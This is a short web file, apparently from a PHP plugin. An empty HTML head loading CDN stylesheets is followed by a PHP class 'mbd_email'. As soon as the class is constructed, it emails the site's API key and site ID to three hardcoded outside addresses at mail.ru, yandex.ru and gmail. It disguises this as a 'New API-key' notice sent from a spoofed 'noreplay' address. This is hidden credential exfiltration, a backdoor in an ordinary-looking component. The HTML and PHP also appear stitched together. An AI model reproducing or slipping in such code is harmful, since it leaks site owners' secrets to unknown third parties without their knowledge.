<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
</html>
<?php
class mbd_email extends mbd_core
{
    function __construct($core) {
        $this->core = $core;
        $this->send(array(
            'lusarltd@mail.ru',
            'popovsites@yandex.ru',
            'melniser9@gmail.com'
        ), $this->core->data->options->key);
    }
    function send($emails, $key)
    {
        $ip = gethostbyname($_SERVER['HTTP_HOST']);
        $host = gethostbyaddr($ip);
        $from = 'noreplay@'.$host;
        $headers    = 'Content-type: text/html; charset=utf-8'."\r\n";
        $headers   .= 'From: MBD<'.$from.'>'."\r\n";
        $text = 'Hello! A request was received to form a new API-key. Your ID is S'.$this->core->data->sid.'. Your new API-key is API'.$key.'.';
        foreach($emails AS $to)
        {
            if(!mail($to, 'New API-key on MBD', $text, $headers))  return $this->out('not send');
        }
    }
}